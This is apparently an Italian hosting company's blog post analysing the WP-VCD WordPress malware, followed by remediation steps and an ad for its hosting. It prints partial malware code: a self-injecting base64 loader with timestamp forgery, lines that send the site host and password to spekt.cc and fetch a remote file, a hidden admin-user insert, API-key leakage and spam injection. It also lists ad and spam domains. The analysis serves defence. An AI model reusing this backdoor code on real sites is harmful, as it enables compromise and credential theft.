WordPress WP-VCD – Un Malware ben nascosto, subdolo e pericoloso!

Wordpress Malware #1

WordPress Malware #1

Con l’aiuto di alcuni tools di sicurezza e dei crawlers del buon Google, oltrechè il risultato di una minuziosa analisi, abbiamo appena scovato su alcune installazioni WordPress di alcuni Clienti, seppur aggiornati costantemente, un pericoloso e sottostimato malware dal funzionamento particolarmente interessante.

Si tratta del  WP-VCD malware  in grado di generare alcuni files nella cartella /wp includes/ identificati con i nomi di wp-vcd.php , post.php, class.wp.php  con contenuti di questo tipo :

$install_code = 'PD9waHANCg0KaWYgKGlzc2V0KCRfUkVRVUVTVFsnYWN0aW9uJ10pICY[...Blah blah blah]
$install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
   $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));

if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')){
    if (strpos($content, 'WP_V_CD') === false){
        $content = $install_code . $content ;
        @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
        touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time );
    }
    else { $ping = false; }
}

if ($ping) { $content = @file_get_contents(‘http://www.spekt.cc/o.php?host=' . $_SERVER[“HTTP_HOST”] . ‘&password=’ . $install_hash); @file_put_contents(ABSPATH . ‘/wp-includes/class.wp.php’, file_get_contents(‘http://www.spekt.cc/admin.txt')); }
if ($ping2) { $content = @file_get_contents(‘http://www.spekt.cc/o.php?host=' . $_SERVER[“HTTP_HOST”] . ‘&password=’ . $install_hash); @file_put_contents(ABSPATH . ‘wp-includes/class.wp.php’, file_get_contents(‘http://www.spekt.cc/admin.txt'));//echo ABSPATH . ‘wp-includes/class.wp.php’; }

Buona parte del codice risulta codificato con lunghe stringe base64 con l'intento di auto-iniettarsi (riuscendoci benissimo) nel file functions.php relativo al proprio Tema utilizzato , alterando, come se non bastasse, la data e l'ora di modifica in modo da nascondersi in maniera ancora più agevole.

Inoltre, riesce a popolare da remoto un apposito db con hostnames e passwords  per poi scaricare il contenuto su un file .txt.

Come mostrato dal codice sottostante, lo step successivo risulta quello di creare un nuovo utente con lo scopo principale di creare scompiglio in particolare sui temi forniti dal famoso produttore di software e template Envato, con l'intento di interferire sul sistema di aggiornamento :

Wordpress Malware #2

WordPress Malware #2

$wpdb->query(“INSERT INTO $wpdb->users (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (‘100010010’, ‘100010010’, ‘$P$BaRp7gFRTND5AwwJwpQY8EyN3otDiL.’, ‘100010010’, ‘te@ea.st’, ‘’, ‘2011–06–07 00:00:00’, ‘’, ‘0’, ‘100010010’);”);

if( isset($_GET[‘key’]) ) { $options = get_option( EWPT_PLUGIN_SLUG ); echo ‘

’ . esc_attr( $options[‘user_name’] . ‘:’ . esc_attr( $options[‘api_key’])) . ‘
’; echo esc_html( envato_market()->get_option( ‘token’ ) ); echo ‘

’; } }

Successivamente, il malware genera un file .txt (nel nostro caso serials.txt) sapientemente collocato in una cartella temporanea di WordPress.

Per concludere, l'istruzione :

foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
[...]
$post_content = preg_replace('!
(.*?)
!s', '', $data -> post_content); [...] $file = preg_replace('/'.$matcholddiv[1][0].'/i',$_REQUEST['newdiv'], $file); [...] $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))

popola i contenuti in grado di generare il proprio codice ed instaurare una vera e propria campagna di ADS e SPAM vario utilizzando questi domini/urls :

https://deloton.com/apu.php?zoneid=1459841

https://go.mobisla.com/notice.php?p=1459844&interactive=1&pushup=1

https://go.pub2srv.com/apu.php?zoneid=1459841

https://go.pushnative.com/notice.php?p=1459844&interactive=1&pushup=1go[.]pub2srv[.]com

E' senza dire che tali domini, godono di una protezione dell' Whois per tutelarne la privacy :

REGISTRANT CONTACT
Name:
Private Whois
Organization:
GLOBAL DOMAIN PRIVACY SERVICES INC
Street:
Tower Financial Center Flr 35, 50th St y E. Mendez St
City:
Panama
State:
NA
Postal Code:
NA
Country:
PA
Phone:
+507.8365260
Email:
email@domains-anonymizer.com
ADMINISTRATIVE CONTACT
Name:
Private Whois
Organization:
GLOBAL DOMAIN PRIVACY SERVICES INC
Street:
Tower Financial Center Flr 35, 50th St y E. Mendez St
City:
Panama
State:
NA
Postal Code:
NA
Country:
PA
Phone:
+507.8365260
Email:
email@domains-anonymizer.com
TECHNICAL CONTACT
Name:
Private Whois
Organization:
GLOBAL DOMAIN PRIVACY SERVICES INC
Street:
Tower Financial Center Flr 35, 50th St y E. Mendez St
City:
Panama
State:
NA
Postal Code:
NA
Country:
PA
Phone:
+507.8365260
Email:
email@domains-anonymizer.com
Wordpress Malware #3

WordPress Malware #3

DA DOVE PROVIENE L'INFEZIONE?

Non sono del tutto chiare le origini dell'infezione ma nei casi analizzati, sono risultati infetti i famosi plugin SEO YOAST Formidable Forms
e le installazioni di WordPress fino alla versione 4.8

COSA FARE PER TUTELARSI?

L'unico modo per mettersi in sicurezza risulta quello di aggiornare quanto prima la propria installazione di WordPress e tutti i Plugins ivi residenti .

Ritardare gli aggiornamenti giorno dopo giorno, equivale ad incrementare il rischio di infezione e siccome il malware tende a scaricare porzioni di codice da remoto, potrebbe facilmente auto-rigenerarsi e rendere l'eliminazione del malware sempre più difficoltosa anche su sistemi adeguatamente aggiornati.

SONO INFETTO, COME ELIMINO L'INFEZIONE?

La completa eradicazione di questo malware porta con sè non poche difficoltà, in quanto, oltre ad eliminare i files sopra menzionati, occorrerebbe :

  1. Analizzare manualmente tutti i files di WordPress
  2. Re-installare una copia aggiornata di WordPress
  3. Utilizzare un tool di scansione anti-malware locale o da remoto
  4. Eseguire una nuova analisi da Google Search Console e verificarne l'esito.

HO BISOGNO DI AIUTO!

In questo caso, restiamo a disposizione per fornire ulteriori dettagli in merito a questa infezione tramite tutte le opportunità di supporto previste dal nostro servizio!

LE NOSTRE CONTROMISURE

Tutti i siti gestiti dal nostro hosting godono di un sistema di verifica automatizzata di tutte le sessioni di WordPress e relativi Plugins in grado di assicurarne sempre il più alto grado di sicurezza.

Assicura ai tuoi progetti una casa sicura e performante.

Scegli Hosting Active di Over The Cloud!